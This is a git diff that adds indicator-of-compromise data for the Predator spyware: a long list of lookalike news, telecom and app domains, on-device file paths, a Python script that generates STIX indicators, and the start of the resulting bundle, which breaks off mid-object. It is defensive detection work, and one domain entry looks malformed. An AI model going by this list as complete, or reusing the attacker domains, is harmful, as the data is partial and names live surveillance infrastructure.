+ebill.cosmote.center +edolio5.com +efsyn.news +efsyn.online +eg-gov.org +egypt-post.com +egyqaz.com +ehudaldaa.com +e-kgd.kz +elpais.me +elwatnanews.com +emvolio-gov.gr +engine.ninja +enigmase.xyz +enikos.news +ereportaz.news +escortbabesluxo.com +espressonews.gr.com +etisalategypt.tech +etisalatgreen.com +eventes.org +eventnews.live +ewish.cards +exclusivo24h.com +factosdiarios.co +factosdiarios.online +fastdownload.me +fastnews.biz +fast-notify.com +fastuploads.xyz +fbc8213450838f7ae251d4519c195138.xyz +fdnews.info +ferrari.gr.com +ffoxnewz.com +fimes.gr.com +fireup.xyz +fisherman.engine.ninja +flash.gr.com +flexipagez.com +flowercafee.com +flytaps.com +folha8.net +folha9.info +folha-9.com +forwardeshoptt.com +fr-monde.com +gabzmus.com +geloraku.id +get-location.com +get-location.net +getsignalapps.com +getsignalapps.live +getupdatesnow.xyz +glbnews.live +goldenscent.net +goldenscint.com +goldescent.com +gorlovski.com +gorows.live +gosokm.com +gostosadeluxo.com +growebservice.com +grupohel.social +grvnews.live +guardian-tt.me +guardnew.live +guardnews.live +gulfsports.info +gulfsports.live +gulfweather.live +heaven.army +heiiasjournai.com +hellasjournal.company +hellasjournal.website +hellottec.art +hempower.shop +highclub.life +hopnope.xyz +icloudeu.com +icloudflair.com +iibt.xyz +ikea-egypt.net +ilnk.xyz +imparcialpress.com +inews.gr.com +informacao24.com +informationrank.net +informburo.info +infosms-a.site +in-politics.com +inservices.digital +insider.gr.com +instagam.click +instagam.in +instagam.photos +instegram.co +insurance.gr.com +intercontinentalhg.com +intnews.world +invoker.icu +ios-apps.store +iosmnbg.com +itcgr.live +itly.link +itter.me +jakalas.online +jofki.com +jornaldeangola.co +jornaldeangola.info +jornaldeangola.net +jornalf8.co +jornalf8.com +jquery-updater.xyz +jumia-egy.com +kalwaski.xyz +kapital-news.com +kathimerini.news +kejoranews.net +kinder.engine.ninja +koenigseggg.com +kohaicorp.com +kollesa.com +koora-egypt.com +kormoran.bid +kranos.gr.com +krisha-kz.com +kroal.com +kz-news.cc +kz-shops.me +ladiesclubhouse.com +lamborghini-s.shop +landingpge.xyz +landingpg.xyz +leanwithme.xyz +leefco.net +lexpress.me +lexpress-mg.xyz +lexpressmg.xyz +lifestyleshops.net +lilpastanews.co +limk.one +linkit.cloud +linkit.digital +link-m.xyz +link-protection.com +linktothisa.xyz +liponals.store +live24.gr.com +liveco.live +livingwithbadkidny.xyz +llinkedin.net +lnkedin.org +localegem.net +lttlnk.net +lubentv.com +lusofonia-mundo.com +lylink.online +mada.sahia-mijoro.com +magnum-kz.com +makeitshort.xyz +mastershop.biz +mb-ph.net +md-news-direct.com +midi-madgasikara.co +mifcbook.link +miniiosapps.xyz +mitube1.link +mlinks.ws +mmegi.co +mobnetlink1.com +mobnetlink2.com +mobnetlink3.com +moncn.co +mozillaupdate.xyz +msas.ws +msbsck.com +mujimbo.co +mujimbos.co +mujmbosnoticias.com +mulherevips.com +mult.icaixa.info +mundodenoticias.online +mycoffeeshop.shop +myfawry.net +myfcbk.net +mytrips.quest +myutbe.net +mywebsitevpstest.xyz +nabde.app +nabd.site +nassosblog.gr.com +nemshi.net +nemshi-news.live +nemshi-news.xyz +networkenterprise.net +newsbeast.gr.com +newslive2.xyz +newspool.net +newsreuter.com +newsworldsports.co +newzeto.xyz +newzgroup.xyz +niceonase.com +niceonesa.net +nikjol.xyz +nissan.gr.com +nm-weather.live +nospam.kz +notifications-sec.com +notify-kz.info +notify-service.biz +novojornal.co +novojornal.info +novosti.bid +nur-news.com +oilgy.xyz +olexegy.com +olimpbets.kz +olxeg.com +omanreal.net +omeega.xyz +ongs.life +ongsworld.com +onlineservices.gr.com +onlinewebinarmarketing.com +orangegypt.co +orchomenos.news +ordas-kz.com +otaupdatesios.com +paok-24.com +pastepast.net +pasteposta.com +pdfviewer.app +pelovkin.com +people-beeline.com +peticaonline.comv +plastictoysworld.com +platinalines.com +playestore.net +plinkypong.com +pocopoc.xyz +podcastnow.club +politika.bid +politique-koaci.info +popup-pw.info +portalxa.com +post-kz.info +post-notify.info +prmopromo.com +pronews.gr.com +protothema.live +proupload.xyz +ps1link.xyz +ps2link.xyz +qamqors.net +qazsporttv.com +quick-ads.com +quickupdates.xyz +qwert.xyz +qwxzyl.com +rcuples.com +redeitt.com +redirecting.live +redirecting.page +redirto.info +rozavetrovv.com +safelyredirecting.com +safelyredirecting.digital +schedulefestival.com +sdntribune.co +sec-flare.com +sepenet.gr.com +sephoragroup.com +servers-mobile.info +serviceupdaterequest.com +sextape225.me +shanam.org +shop-collect.com +shortely.xyz +shorten.fi +shortenurls.me +shortly.work +shortmee.one +shortwidgets.com +shortxyz.com +showsme.info +shoxtek.com +sicnoticia.com +simetricode.uk +sinai-new.com +sitepref.xyz +skollie.online +skranski.com +sky-news.live +smallme.net +smcu.me +smsuns.com +snapfire.xyz +sniper.pet +soccer-bw.com +solargoup.xyz +solargroup.xyz +soq.one +spacsaver.info +speedygonzales.xyz +speedymax.shop +speedy.sbs +sportnow.news +sports-mdg.xyz +sportsnewz.site +static-graph.com +stonisi.news +suarajubi.com +suarajubi.net +suarapapua.co +supportset.net +sustanbuild.com +suzuki.gr.com +svetovid.bid +symoty.com +syncservices.one +synctimestamp.com +syncupdate.site +sysly.sbs +sysnet.life +taagangola.co +t-bit.me +tclnk.live +telecomegy-ads.com +telenorconn.com +tengrinnews.live +teslali.com +teslal.shop +teslal.xyz +tesla-s.shop +tgrthgsrgwrthwrtgwr.xyz +thintank.co +tickets-kz.com +timestampsync.com +timeupdateservice.com +timeupdate.xyz +tiny.gr.com +tinylinks.live +tinyulrs.com +tinyurl.cloud +tiol.xyz +tly.gr.com +tly.link +tobupmi.com +tohna.net +tokoulouri.live +tovima.live +traffic-moi-eg.org +t-ready.me +trecvf.xyz +trecv.xyz +tribune-mg.xyz +trkc.online +truelocation.org +tsapp.me +tsrt.xyz +tupuca.co +tvxs.news +tw.itter.me +twtter.net +ube.gr.com +uberegypt.cn.com +ulstur.co +unitei.co +universedades.com +updates4you.xyz +updateservice.center +updatetime.zone +updatingnews.xyz +updete.xyz +url-promo.club +url-tiny.app +uservicescheck.com +uservicesforyou.com +utube.digital +utube.to +vaovao.soutien-a-rajoelina.com +vendaswebs.com +verifyurl.me +vestinfo.net +vestinfo.org +vestinfos.net +vinho-online.com +vinhosadega.com +visavfsglobal.co +viva.gr.com +vlast-news.com +vodafoneegypt.tech +vodafonegypt.com +vouliwatch.gr.com +vslojasvendas.com +wa-info.com +walatparez.com +wavekli.xyz +weathear.live +weather-live.com +weathernewz.xyz +weathersite.online +webaffise.com +weekendcool.com +wesalcity.net +we-site.net +wha.tsapp.me +whatssapp.co +worldnws.xyz +wtc1111.com +wtc2222.com +wtc3333.com +wts-app.info +xf.actor +xnxx-hub.com +xyvok.xyz +yallakora-egy.com +youarefired.xyz +yo-um7.com +youtub.app +yo.utube.digital +youtub-eg.com +yout.ube.gr.com +youtube.gr.live +youtu-be.net +youtubesyncapi.com +yo.utube.to +youtube.voto +youtubewatch.co +yuom7.net +z2a.digital +z2adigital.cloud +z2digital.cloud +zakorn.com +zikolo.net +zoometting.com +zougla.gr.com +zougla.news +ztb-news.com diff --git a/data/ioc/spyware/mvt/intellexa_predator/file_paths.txt b/data/ioc/spyware/mvt/intellexa_predator/file_paths.txt new file mode 100644 index 0000000..931c463 --- /dev/null +++ b/data/ioc/spyware/mvt/intellexa_predator/file_paths.txt @@ -0,0 +1,16 @@ +/private/var/tmp/UserEventAgent +/private/var/tmp/com.apple.WebKit.Networking +/private/var/tmp/hooker +/private/var/tmp/takePhoto +/private/var/logs/keybagd/ +/private/var/tmp/kusama.txt +/private/var/tmp/etherium.txt +/private/var/tmp/helper.sock +/private/var/tmp/etherium.txt +/private/var/tmp/l/ +/tmp/etherium.txt +/tmp/kusama.txt +/tmp/l/ +/data/local/tmp/wd/pred.so +/data/local/tmp/wd/fs.db +/data/local/tmp/wd/ diff --git a/data/ioc/spyware/mvt/intellexa_predator/generate_stix.py b/data/ioc/spyware/mvt/intellexa_predator/generate_stix.py new file mode 100644 index 0000000..c0553ff --- /dev/null +++ b/data/ioc/spyware/mvt/intellexa_predator/generate_stix.py @@ -0,0 +1,41 @@ +import sys +import os +from stix2.v21 import (Indicator, Malware, Relationship, Bundle, DomainName) + + +if __name__ == "__main__": + if os.path.isfile("predator.stix2"): + os.remove("predator.stix2") + + with open("config_profiles.txt") as f: + configs = list(set([a.strip() for a in f.read().split()])) + + + with open("domains.txt") as f: + domains = list(set([a.strip() for a in f.read().split()])) + + with open("file_paths.txt") as f: + filepaths = list(set([a.strip() for a in f.read().split()])) + + res = [] + malware = Malware(name="Predator", is_family=False, description="IOCs for Intellexa Predator") + res.append(malware) + for d in domains: + i = Indicator(indicator_types=["malicious-activity"], pattern="[domain-name:value='{}']".format(d), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + for f in filepaths: + i = Indicator(indicator_types=["malicious-activity"], pattern="[file:path='{}']".format(f), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + for c in configs: + i = Indicator(indicator_types=["malicious-activity"], pattern="[configuration-profile:id='{}']".format(c), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + bundle = Bundle(objects=res) + with open("predator.stix2", "w+") as f: + f.write(bundle.serialize(indent=4)) + print("predator.stix2 file created") diff --git a/data/ioc/spyware/mvt/intellexa_predator/predator.stix2 b/data/ioc/spyware/mvt/intellexa_predator/predator.stix2 new file mode 100644 index 0000000..343f3ca --- /dev/null +++ b/data/ioc/spyware/mvt/intellexa_predator/predator.stix2 @@ -0,0 +1,14056 @@ +{ + "type": "bundle", + "id": "bundle--61366cef-1f65-469f-9d8c-ec12baf0a87c", + "objects": [ + { + "type": "malware", + "spec_version": "2.1", + "id": "malware--d392e660-8159-4485-be85-2c021db07c5d", + "created": "2026-02-17T19:39:51.745031Z", + "modified": "2026-02-17T19:39:51.745031Z", + "name": "Predator", + "description": "IOCs for Intellexa Predator", + "is_family": false + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7df7da76-baa5-48be-98b3-ae9b4bd84184", + "created": "2026-02-17T19:39:51.745209Z", + "modified": "2026-02-17T19:39:51.745209Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='exclusivo24h.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.745209Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--72c7cf1f-851a-4f0a-a96c-30b404c51c59", + "created": "2026-02-17T19:39:51.749965Z", + "modified": "2026-02-17T19:39:51.749965Z", + "relationship_type": "indicates", + "source_ref": "indicator--7df7da76-baa5-48be-98b3-ae9b4bd84184", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d4c88c80-5f3f-4420-9ce2-5ae0e779e052", + "created": "2026-02-17T19:39:51.750299Z", + "modified": "2026-02-17T19:39:51.750299Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='coazoa.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.750299Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--af0f60b6-4963-472c-a020-c75eb59f7a32", + "created": "2026-02-17T19:39:51.750795Z", + "modified": "2026-02-17T19:39:51.750795Z", + "relationship_type": "indicates", + "source_ref": "indicator--d4c88c80-5f3f-4420-9ce2-5ae0e779e052", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--22473bf3-f161-4937-b023-c5fcf92721c5", + "created": "2026-02-17T19:39:51.750884Z", + "modified": "2026-02-17T19:39:51.750884Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='yout.ube.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.750884Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--38db7007-7819-4e4a-a597-c7444084d26a", + "created": "2026-02-17T19:39:51.751428Z", + "modified": "2026-02-17T19:39:51.751428Z", + "relationship_type": "indicates", + "source_ref": "indicator--22473bf3-f161-4937-b023-c5fcf92721c5", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4d38b455-078e-4eef-afe9-2bd5b48da779", + "created": "2026-02-17T19:39:51.751513Z", + "modified": "2026-02-17T19:39:51.751513Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='md-news-direct.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.751513Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7b0fc875-4d78-4029-b4c0-f1463b05d033", + "created": "2026-02-17T19:39:51.752027Z", + "modified": "2026-02-17T19:39:51.752027Z", + "relationship_type": "indicates", + "source_ref": "indicator--4d38b455-078e-4eef-afe9-2bd5b48da779", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--102d27b4-b72c-426e-9764-e8953e8f5a14", + "created": "2026-02-17T19:39:51.752112Z", + "modified": "2026-02-17T19:39:51.752112Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='serviceupdaterequest.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.752112Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--072c0856-23aa-412e-9d94-cbd24b12b98e", + "created": "2026-02-17T19:39:51.752613Z", + "modified": "2026-02-17T19:39:51.752613Z", + "relationship_type": "indicates", + "source_ref": "indicator--102d27b4-b72c-426e-9764-e8953e8f5a14", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b2af4760-903c-4b7f-af82-3b3eaf1f1f51", + "created": "2026-02-17T19:39:51.752697Z", + "modified": "2026-02-17T19:39:51.752697Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cbbc01.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.752697Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f6cdaf31-bf61-47d7-9fe2-04284d659608", + "created": "2026-02-17T19:39:51.753134Z", + "modified": "2026-02-17T19:39:51.753134Z", + "relationship_type": "indicates", + "source_ref": "indicator--b2af4760-903c-4b7f-af82-3b3eaf1f1f51", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b11f78d3-42f7-4fb0-9a87-4d8b8338d61d", + "created": "2026-02-17T19:39:51.753215Z", + "modified": "2026-02-17T19:39:51.753215Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='suarajubi.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.753215Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--30f1c97f-815c-47ec-b3f0-cd7c9a6ec565", + "created": "2026-02-17T19:39:51.753594Z", + "modified": "2026-02-17T19:39:51.753594Z", + "relationship_type": "indicates", + "source_ref": "indicator--b11f78d3-42f7-4fb0-9a87-4d8b8338d61d", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6fa0f6e1-4558-415a-84d8-78870d226957", + "created": "2026-02-17T19:39:51.753677Z", + "modified": "2026-02-17T19:39:51.753677Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='skranski.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.753677Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--05606110-b205-4581-9722-028c918520f7", + "created": "2026-02-17T19:39:51.75405Z", + "modified": "2026-02-17T19:39:51.75405Z", + "relationship_type": "indicates", + "source_ref": "indicator--6fa0f6e1-4558-415a-84d8-78870d226957", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--16818bb0-3fd1-497a-9b70-dfb98d098b42", + "created": "2026-02-17T19:39:51.754131Z", + "modified": "2026-02-17T19:39:51.754131Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mujimbo.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.754131Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ed773080-b047-4654-97b2-31983064698d", + "created": "2026-02-17T19:39:51.754463Z", + "modified": "2026-02-17T19:39:51.754463Z", + "relationship_type": "indicates", + "source_ref": "indicator--16818bb0-3fd1-497a-9b70-dfb98d098b42", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4c747803-9f0f-42f5-abe2-585453dfa8ba", + "created": "2026-02-17T19:39:51.754543Z", + "modified": "2026-02-17T19:39:51.754543Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cyber.country']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.754543Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d3f6a6c9-09cc-4429-bf45-2558308cd0fb", + "created": "2026-02-17T19:39:51.754881Z", + "modified": "2026-02-17T19:39:51.754881Z", + "relationship_type": "indicates", + "source_ref": "indicator--4c747803-9f0f-42f5-abe2-585453dfa8ba", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--69994d0f-00c6-4677-8b30-21168e245406", + "created": "2026-02-17T19:39:51.754961Z", + "modified": "2026-02-17T19:39:51.754961Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='platinalines.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.754961Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f0421016-3389-4078-aa9d-47255cfb5991", + "created": "2026-02-17T19:39:51.755347Z", + "modified": "2026-02-17T19:39:51.755347Z", + "relationship_type": "indicates", + "source_ref": "indicator--69994d0f-00c6-4677-8b30-21168e245406", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5d9d2c47-c6eb-4eb6-b7f9-19195fdffec4", + "created": "2026-02-17T19:39:51.755427Z", + "modified": "2026-02-17T19:39:51.755427Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='buildneeds.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.755427Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b96fb441-f9b3-4b5b-9abc-3716c4a3bfae", + "created": "2026-02-17T19:39:51.755896Z", + "modified": "2026-02-17T19:39:51.755896Z", + "relationship_type": "indicates", + "source_ref": "indicator--5d9d2c47-c6eb-4eb6-b7f9-19195fdffec4", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--040dbc6e-dec9-4ffe-ad2c-963db7fb5b32", + "created": "2026-02-17T19:39:51.75603Z", + "modified": "2026-02-17T19:39:51.75603Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='emvolio-gov.gr']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.75603Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--637c5de1-da54-4cb8-8a42-d9087cd551cf", + "created": "2026-02-17T19:39:51.756413Z", + "modified": "2026-02-17T19:39:51.756413Z", + "relationship_type": "indicates", + "source_ref": "indicator--040dbc6e-dec9-4ffe-ad2c-963db7fb5b32", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3fefabf2-d25f-4922-9d83-c4c36d2a6382", + "created": "2026-02-17T19:39:51.756495Z", + "modified": "2026-02-17T19:39:51.756495Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='get-location.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.756495Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--20a19008-638e-4fce-a5b9-33a5b93be057", + "created": "2026-02-17T19:39:51.756963Z", + "modified": "2026-02-17T19:39:51.756963Z", + "relationship_type": "indicates", + "source_ref": "indicator--3fefabf2-d25f-4922-9d83-c4c36d2a6382", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b234e085-0110-4c83-909a-8db2874eb9fd", + "created": "2026-02-17T19:39:51.757042Z", + "modified": "2026-02-17T19:39:51.757042Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lilpastanews.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.757042Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5450bc6c-f302-4c24-9654-708b5281448d", + "created": "2026-02-17T19:39:51.757403Z", + "modified": "2026-02-17T19:39:51.757403Z", + "relationship_type": "indicates", + "source_ref": "indicator--b234e085-0110-4c83-909a-8db2874eb9fd", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0ce83e13-54b9-4040-9892-e74ef23beb26", + "created": "2026-02-17T19:39:51.75748Z", + "modified": "2026-02-17T19:39:51.75748Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='weathear.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.75748Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f5067582-ac0b-4234-a9fd-d3b388cff33d", + "created": "2026-02-17T19:39:51.757835Z", + "modified": "2026-02-17T19:39:51.757835Z", + "relationship_type": "indicates", + "source_ref": "indicator--0ce83e13-54b9-4040-9892-e74ef23beb26", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3e3e98ac-9f30-4624-b3d4-891f0978864e", + "created": "2026-02-17T19:39:51.757912Z", + "modified": "2026-02-17T19:39:51.757912Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='goldenscent.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.757912Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2742367b-e357-48a3-a97d-961ca1ab3c06", + "created": "2026-02-17T19:39:51.758226Z", + "modified": "2026-02-17T19:39:51.758226Z", + "relationship_type": "indicates", + "source_ref": "indicator--3e3e98ac-9f30-4624-b3d4-891f0978864e", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--db0bb096-dca3-4fe0-b2e9-0d938301f64e", + "created": "2026-02-17T19:39:51.758301Z", + "modified": "2026-02-17T19:39:51.758301Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kroal.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.758301Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5d068998-6a19-40fb-a11e-d18153766171", + "created": "2026-02-17T19:39:51.758861Z", + "modified": "2026-02-17T19:39:51.758861Z", + "relationship_type": "indicates", + "source_ref": "indicator--db0bb096-dca3-4fe0-b2e9-0d938301f64e", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1e5db13f-3b02-40c5-bd2a-4c28ecd76445", + "created": "2026-02-17T19:39:51.758959Z", + "modified": "2026-02-17T19:39:51.758959Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mycoffeeshop.shop']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.758959Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--326ad046-f1f5-4ee7-9021-f94f57ee42ce", + "created": "2026-02-17T19:39:51.759354Z", + "modified": "2026-02-17T19:39:51.759354Z", + "relationship_type": "indicates", + "source_ref": "indicator--1e5db13f-3b02-40c5-bd2a-4c28ecd76445", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--aab54609-14cb-4d6f-aa33-fe0f91040456", + "created": "2026-02-17T19:39:51.759435Z", + "modified": "2026-02-17T19:39:51.759435Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cnn.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.759435Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5b50b44f-6e6d-4ddb-9123-22b6026362bd", + "created": "2026-02-17T19:39:51.759772Z", + "modified": "2026-02-17T19:39:51.759772Z", + "relationship_type": "indicates", + "source_ref": "indicator--aab54609-14cb-4d6f-aa33-fe0f91040456", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2b82f9c4-6072-4ba5-afd3-44b912eea04f", + "created": "2026-02-17T19:39:51.759852Z", + "modified": "2026-02-17T19:39:51.759852Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='timeupdate.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.759852Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4ec986c2-8686-4ee8-b768-8bf361bb12e5", + "created": "2026-02-17T19:39:51.760234Z", + "modified": "2026-02-17T19:39:51.760234Z", + "relationship_type": "indicates", + "source_ref": "indicator--2b82f9c4-6072-4ba5-afd3-44b912eea04f", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d268b728-fc61-4402-9b52-370b3010b0a0", + "created": "2026-02-17T19:39:51.760313Z", + "modified": "2026-02-17T19:39:51.760313Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='chat-support.support']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.760313Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--344db8af-4b8a-48c6-befc-bb90ec3f8801", + "created": "2026-02-17T19:39:51.760657Z", + "modified": "2026-02-17T19:39:51.760657Z", + "relationship_type": "indicates", + "source_ref": "indicator--d268b728-fc61-4402-9b52-370b3010b0a0", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d97f0c1c-79cf-46bf-b6c1-d56a5c0da018", + "created": "2026-02-17T19:39:51.760737Z", + "modified": "2026-02-17T19:39:51.760737Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='orchomenos.news']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.760737Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4bb8ba09-9b7d-4414-88f7-3503dc1213c3", + "created": "2026-02-17T19:39:51.761197Z", + "modified": "2026-02-17T19:39:51.761197Z", + "relationship_type": "indicates", + "source_ref": "indicator--d97f0c1c-79cf-46bf-b6c1-d56a5c0da018", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5c20bf02-a774-40d0-98f0-51f68854c028", + "created": "2026-02-17T19:39:51.76128Z", + "modified": "2026-02-17T19:39:51.76128Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='msas.ws']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.76128Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--92a0b520-3a29-45b3-bee2-aa39b527b4bf", + "created": "2026-02-17T19:39:51.761611Z", + "modified": "2026-02-17T19:39:51.761611Z", + "relationship_type": "indicates", + "source_ref": "indicator--5c20bf02-a774-40d0-98f0-51f68854c028", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8f6d9e0f-a11b-46ce-9cc2-38d16561add9", + "created": "2026-02-17T19:39:51.76169Z", + "modified": "2026-02-17T19:39:51.76169Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ps1link.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.76169Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3a1da61b-1965-41ec-af18-ffe0628f7de2", + "created": 